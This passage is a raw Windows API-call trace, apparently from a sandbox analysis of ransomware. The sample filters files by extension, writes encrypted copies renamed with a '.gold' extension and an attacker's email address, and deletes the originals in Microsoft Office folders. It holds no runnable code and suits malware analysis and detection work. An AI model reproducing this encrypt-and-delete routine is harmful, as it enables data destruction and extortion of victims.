Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0114.418] lstrlenW (lpString=".doc") returned 4 [0114.418] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.418] lstrlenW (lpString=".docx") returned 5 [0114.418] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0114.418] lstrlenW (lpString=".pdf") returned 4 [0114.418] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.418] lstrlenW (lpString=".xls") returned 4 [0114.418] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.418] lstrlenW (lpString=".xlsx") returned 5 [0114.418] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0114.418] lstrlenW (lpString=".ppt") returned 4 [0114.419] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0114.419] lstrlenW (lpString=".zip") returned 4 [0114.419] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.419] lstrlenW (lpString=".rar") returned 4 [0114.419] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.419] lstrlenW (lpString=".bz2") returned 4 [0114.419] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.419] lstrlenW (lpString=".7z") returned 3 [0114.419] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0114.419] lstrlenW (lpString=".dbf") returned 4 [0114.419] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0114.419] lstrlenW (lpString=".1cd") returned 4 [0114.419] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0114.419] lstrlenW (lpString=".jpg") returned 4 [0114.419] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0114.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0114.419] lstrlenW (lpString=".doc") returned 4 [0114.419] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.419] lstrlenW (lpString=".docx") returned 5 [0114.419] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0114.419] lstrlenW (lpString=".pdf") returned 4 [0114.419] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.419] lstrlenW (lpString=".xls") returned 4 [0114.419] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.419] lstrlenW (lpString=".xlsx") returned 5 [0114.419] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0114.419] lstrlenW (lpString=".ppt") returned 4 [0114.420] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0114.420] lstrlenW (lpString=".zip") returned 4 [0114.420] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.420] lstrlenW (lpString=".rar") returned 4 [0114.420] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.420] lstrlenW (lpString=".bz2") returned 4 [0114.420] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.420] lstrlenW (lpString=".7z") returned 3 [0114.420] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0114.420] lstrlenW (lpString=".dbf") returned 4 [0114.420] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0114.420] lstrlenW (lpString=".1cd") returned 4 [0114.420] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0114.420] lstrlenW (lpString=".jpg") returned 4 [0114.420] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.420] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0114.420] lstrlenW (lpString="IPML.ICO") returned 8 [0114.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipml.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0114.475] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1078) returned 1 [0114.475] CloseHandle (hObject=0x3b8) returned 1 [0114.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipml.ico")) returned 0x20 [0114.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipml.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipml.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0114.475] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.475] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipml.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0114.489] GetLastError () returned 0x0 [0114.489] ReadFile (in: hFile=0x3b8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x436, lpOverlapped=0x0) returned 1 [0114.531] WriteFile (in: hFile=0x398, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x440, lpOverlapped=0x0) returned 1 [0114.531] ReadFile (in: hFile=0x3b8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.532] WriteFile (in: hFile=0x398, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0114.532] SetEndOfFile (hFile=0x398) returned 1 [0114.532] CloseHandle (hObject=0x398) returned 1 [0114.532] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.532] SetEndOfFile (hFile=0x3b8) returned 1 [0114.533] CloseHandle (hObject=0x3b8) returned 1 [0114.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.534] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipml.ico")) returned 1 [0114.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0114.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0114.534] lstrlenW (lpString=".doc") returned 4 [0114.534] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.535] lstrlenW (lpString=".docx") returned 5 [0114.535] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0114.535] lstrlenW (lpString=".pdf") returned 4 [0114.535] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.535] lstrlenW (lpString=".xls") returned 4 [0114.535] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.535] lstrlenW (lpString=".xlsx") returned 5 [0114.535] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0114.535] lstrlenW (lpString=".ppt") returned 4 [0114.535] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0114.535] lstrlenW (lpString=".zip") returned 4 [0114.535] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.535] lstrlenW (lpString=".rar") returned 4 [0114.535] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.535] lstrlenW (lpString=".bz2") returned 4 [0114.535] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.535] lstrlenW (lpString=".7z") returned 3 [0114.535] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0114.535] lstrlenW (lpString=".dbf") returned 4 [0114.535] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0114.535] lstrlenW (lpString=".1cd") returned 4 [0114.535] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0114.535] lstrlenW (lpString=".jpg") returned 4 [0114.535] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0114.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0114.535] lstrlenW (lpString=".doc") returned 4 [0114.535] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.535] lstrlenW (lpString=".docx") returned 5 [0114.535] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0114.535] lstrlenW (lpString=".pdf") returned 4 [0114.535] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.535] lstrlenW (lpString=".xls") returned 4 [0114.535] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.535] lstrlenW (lpString=".xlsx") returned 5 [0114.535] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0114.535] lstrlenW (lpString=".ppt") returned 4 [0114.535] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0114.535] lstrlenW (lpString=".zip") returned 4 [0114.535] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.535] lstrlenW (lpString=".rar") returned 4 [0114.535] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.535] lstrlenW (lpString=".bz2") returned 4 [0114.535] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.535] lstrlenW (lpString=".7z") returned 3 [0114.535] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0114.535] lstrlenW (lpString=".dbf") returned 4 [0114.535] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0114.535] lstrlenW (lpString=".1cd") returned 4 [0114.536] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0114.536] lstrlenW (lpString=".jpg") returned 4 [0114.536] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.536] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0114.536] lstrlenW (lpString="NOTE.CFG") returned 8 [0114.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0114.819] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=781) returned 1 [0114.819] CloseHandle (hObject=0x3d0) returned 1 [0114.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg")) returned 0x20 [0114.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0114.847] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.848] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0114.849] GetLastError () returned 0x0 [0114.849] ReadFile (in: hFile=0x230, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x30d, lpOverlapped=0x0) returned 1 [0114.885] WriteFile (in: hFile=0x39c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x310, lpOverlapped=0x0) returned 1 [0114.885] ReadFile (in: hFile=0x230, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.885] WriteFile (in: hFile=0x39c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0114.885] SetEndOfFile (hFile=0x39c) returned 1 [0114.885] CloseHandle (hObject=0x39c) returned 1 [0114.885] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.886] SetEndOfFile (hFile=0x230) returned 1 [0114.927] CloseHandle (hObject=0x230) returned 1 [0114.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.927] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg")) returned 1 [0114.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0114.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0114.928] lstrlenW (lpString=".doc") returned 4 [0114.928] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0114.928] lstrlenW (lpString=".docx") returned 5 [0114.928] lstrcmpiW (lpString1=".docx", lpString2="E.CFG") returned -1 [0114.928] lstrlenW (lpString=".pdf") returned 4 [0114.928] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0114.928] lstrlenW (lpString=".xls") returned 4 [0114.928] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0114.928] lstrlenW (lpString=".xlsx") returned 5 [0114.928] lstrcmpiW (lpString1=".xlsx", lpString2="E.CFG") returned -1 [0114.928] lstrlenW (lpString=".ppt") returned 4 [0114.928] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0114.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0114.928] lstrlenW (lpString=".zip") returned 4 [0114.928] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0114.928] lstrlenW (lpString=".rar") returned 4 [0114.928] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0114.928] lstrlenW (lpString=".bz2") returned 4 [0114.928] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0114.928] lstrlenW (lpString=".7z") returned 3 [0114.928] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0114.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0114.928] lstrlenW (lpString=".dbf") returned 4 [0114.928] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0114.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0114.928] lstrlenW (lpString=".1cd") returned 4 [0114.928] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0114.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0114.929] lstrlenW (lpString=".jpg") returned 4 [0114.929] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0114.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0114.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0114.929] lstrlenW (lpString=".doc") returned 4 [0114.929] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0114.929] lstrlenW (lpString=".docx") returned 5 [0114.929] lstrcmpiW (lpString1=".docx", lpString2="E.CFG") returned -1 [0114.929] lstrlenW (lpString=".pdf") returned 4 [0114.929] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0114.929] lstrlenW (lpString=".xls") returned 4 [0114.929] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0114.929] lstrlenW (lpString=".xlsx") returned 5 [0114.929] lstrcmpiW (lpString1=".xlsx", lpString2="E.CFG") returned -1 [0114.929] lstrlenW (lpString=".ppt") returned 4 [0114.929] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0114.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0114.929] lstrlenW (lpString=".zip") returned 4 [0114.929] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0114.929] lstrlenW (lpString=".rar") returned 4 [0114.929] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0114.929] lstrlenW (lpString=".bz2") returned 4 [0114.929] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0114.929] lstrlenW (lpString=".7z") returned 3 [0114.929] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0114.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0114.929] lstrlenW (lpString=".dbf") returned 4 [0114.929] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0114.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0114.929] lstrlenW (lpString=".1cd") returned 4 [0114.929] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0114.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0114.929] lstrlenW (lpString=".jpg") returned 4 [0114.929] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0114.929] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0114.929] lstrlenW (lpString="POSTIT.CFG") returned 10 [0114.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0114.932] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=777) returned 1 [0114.932] CloseHandle (hObject=0x188) returned 1 [0114.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg")) returned 0x20 [0114.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0114.933] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.933] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0114.935] GetLastError () returned 0x0 [0114.935] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x309, lpOverlapped=0x0) returned 1 [0114.938] WriteFile (in: hFile=0x394, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x310, lpOverlapped=0x0) returned 1 [0114.938] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.938] WriteFile (in: hFile=0x394, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0114.938] SetEndOfFile (hFile=0x394) returned 1 [0114.939] CloseHandle (hObject=0x394) returned 1 [0114.939] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.939] SetEndOfFile (hFile=0x188) returned 1 [0114.940] CloseHandle (hObject=0x188) returned 1 [0114.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.941] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg")) returned 1 [0114.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0114.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0114.942] lstrlenW (lpString=".doc") returned 4 [0114.942] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0114.942] lstrlenW (lpString=".docx") returned 5 [0114.942] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0114.942] lstrlenW (lpString=".pdf") returned 4 [0114.942] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0114.942] lstrlenW (lpString=".xls") returned 4 [0114.942] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0114.942] lstrlenW (lpString=".xlsx") returned 5 [0114.942] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0114.942] lstrlenW (lpString=".ppt") returned 4 [0114.942] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0114.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0114.942] lstrlenW (lpString=".zip") returned 4 [0114.942] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0114.942] lstrlenW (lpString=".rar") returned 4 [0114.942] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0114.942] 